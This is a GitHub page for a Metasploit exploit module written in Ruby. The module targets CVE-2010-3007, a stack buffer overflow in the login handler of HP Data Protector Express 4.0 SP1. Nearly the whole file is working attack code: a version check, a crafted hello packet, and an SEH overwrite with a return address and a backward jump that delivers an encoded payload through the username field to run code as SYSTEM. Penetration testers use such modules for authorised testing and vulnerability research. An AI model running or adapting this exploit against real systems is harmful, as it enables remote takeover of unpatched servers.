-
-
Notifications
You must be signed in to change notification settings - Fork 25
/
23290
147 lines (124 loc) · 5.17 KB
/
23290
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
overflow occurs during the login process, in the DtbClsLogin function provided by
the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an
insecure way with the username. A successful exploitation will lead to code execution
with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
Service) process, which runs as SYSTEM by default.
},
'Author' =>
[
'AbdulAziz Hariri', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-3007' ],
[ 'OSVDB', '67973' ],
[ 'BID', '43105' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
],
'Payload' =>
{
'Space' => 712,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
{
'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
'Offset' => 712
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Sep 09 2010'
))
register_options(
[
Opt::RPORT(3817),
], self.class)
end
def check
connect
machine_name = rand_text_alpha(15)
print_status("#{sock.peerinfo} - Sending Hello Request")
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00"
hello << machine_name << "\x00"
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
sock.put(hello)
hello_response = sock.get
disconnect
if hello_response and hello_response =~ /Dtb: Context/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
machine_name = rand_text_alpha(15)
print_status("#{sock.peerinfo} - Sending Hello Request")
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
hello << "\x00\x00\x00\x00"
hello << machine_name << "\x00"
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
sock.put(hello)
hello_response = sock.get
if not hello_response or hello_response.empty?
print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")
return
end
bof = payload.encoded
bof << rand_text(target['Offset']-bof.length)
bof << generate_seh_record(target.ret)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
# The line below is used to trigger exception, don't go confused because of the big space,
# there are only some available bytes until the end of the stack, it allows to assure exception
# when there are mappings for dynamic memory after the stack, so to assure reliability it's better
# to jump back.
bof << rand_text(100000)
header = [0x8451].pack("V") # packet id
header << [0x32020202].pack("V") # svc id
header << [0x00000018].pack("V") # cmd id
header << [0].pack("V") # pkt length, calculated after pkt has been built
header << "\x00\x00\x00\x00" # ?Unknown?
pkt_auth = header
pkt_auth << bof # username
pkt_auth[12, 4] = [pkt_auth.length].pack("V")
print_status("#{sock.peerinfo} - Sending Authentication Request")
sock.put(pkt_auth)
disconnect
end
end